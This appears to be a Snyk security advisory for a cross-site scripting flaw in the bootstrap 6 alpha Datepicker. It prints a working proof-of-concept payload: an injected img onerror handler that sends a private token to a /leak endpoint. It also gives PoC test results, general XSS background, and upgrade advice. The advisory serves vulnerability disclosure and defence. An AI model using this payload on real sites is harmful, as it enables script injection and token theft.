Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.
Start learningUpgrade bootstrap to version 6.0.0-alpha.2 or higher.
bootstrap is a popular front-end framework for faster and easier web development.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Datepicker plugin's _getConfig method, which JSON-decodes the data-bs-vcp-options element attribute and spreads the decoded object directly into Vanilla Calendar Pro's constructor options without sanitization. Vanilla Calendar Pro renders its layouts option as HTML using innerHTML under an identity default sanitizer (sanitizerHTML: (html) => html), so an attacker who can place HTML into an application that sanitizes with DOMPurify's default configuration can supply an input element carrying data-bs-toggle="datepicker" and a layouts payload in data-bs-vcp-options. Because DOMPurify preserves data-* attributes by default, the stored element appears inert, but when a victim focuses the field the Datepicker initializes the calendar and the attacker's layout string is assigned to innerHTML, executing arbitrary JavaScript on the application's origin.
Note: This is only exploitable when the application renders untrusted HTML sanitized with DOMPurify in its default configuration (which preserves data-* attributes) and inserts the result into the DOM, and the page loads the Bootstrap 6 Datepicker bundle with no Content Security Policy blocking inline event handlers.
The reporter set up a minimal page that follows the documented user-generated-content pattern, where an application sanitizes untrusted HTML with DOMPurify's defaults, inserts it with innerHTML, and loads the Bootstrap 6 Datepicker, and act as a remote attacker who submits HTML and gets a victim to focus the field.
PoC files are in this gist.
run.sh, which npm installs bootstrap@6.0.0-alpha.1, dompurify@3.4.17 and playwright@1.64.1, serves the pages on http://127.0.0.1:18767 with no CSP, and drives real headless Chromium and Firefox. index-alpha1.html loads the npm prerelease bundle; index-main.html loads bootstrap-main-3b7f323.bundle.min.js, the production bundle built from main@3b7f323; index-alpha1-config.html delivers the same payload through the generic data-bs-config attribute.<input id="malicious-calendar" type="text" data-bs-toggle="datepicker" data-bs-vcp-options='{"layouts":{"default":"<img id=pwn src=x data-u=/leak?token= onerror=window.pwned=true,fetch(this.dataset.u+window.__private)>"}}'>. The page sanitizes it with DOMPurify.sanitize(dirty) and inserts the result; the attacker position is a remote user of the content feature, with no account or privilege.data-bs-* attributes (no onerror); after focus the calendar DOM contains <img id="pwn" src="x" data-u="/leak?token=" onerror="window.pwned=true,fetch(this.dataset.u+window.__private)">, window.pwned is true, and a same-origin request GET /leak?token=<token> is issued. Running test.cjs over the matrix prints:PASS alpha1/vcp-options/chromium: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/vcp-options/firefox: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/config/chromium: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS alpha1/config/firefox: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/vcp-options/chromium: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/vcp-options/firefox: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/config/chromium: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS main/config/firefox: pwned=true injected=true exfil=.../leak?token=%3Ctoken%3E
PASS patched/vcp-options/chromium: pwned=false injected=false exfil=none
PASS patched/config/chromium: pwned=false injected=false exfil=none
PASS patched/benign/chromium: benign calendar renders=true pwned=false
The payload is attacker-chosen: data-bs-vcp-options is copied verbatim into the calendar HTML, so the executed JavaScript is whatever the attacker wrote, not a fixed side effect.
PoC run on the published prerelease bootstrap@6.0.0-alpha.1 (npm), headless Chromium 156: the sanitized input executed the payload on focus and the result panel reads window.pwned: true with the exfiltration request recorded.

The same result on a production bundle built from current main@3b7f323, confirming the default development branch is affected:

The same page against a bundle built from main@3b7f323 with our patch applied: no handler is injected, window.pwned stays false, and the calendar still renders normally.

Note: PoC runs against bootstrap@6.0.0-alpha.1 (npm) and dompurify@3.4.17 with playwright@1.64.1 driving headless Chromium 156 and Firefox, served on http://127.0.0.1:18767 with no CSP.
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.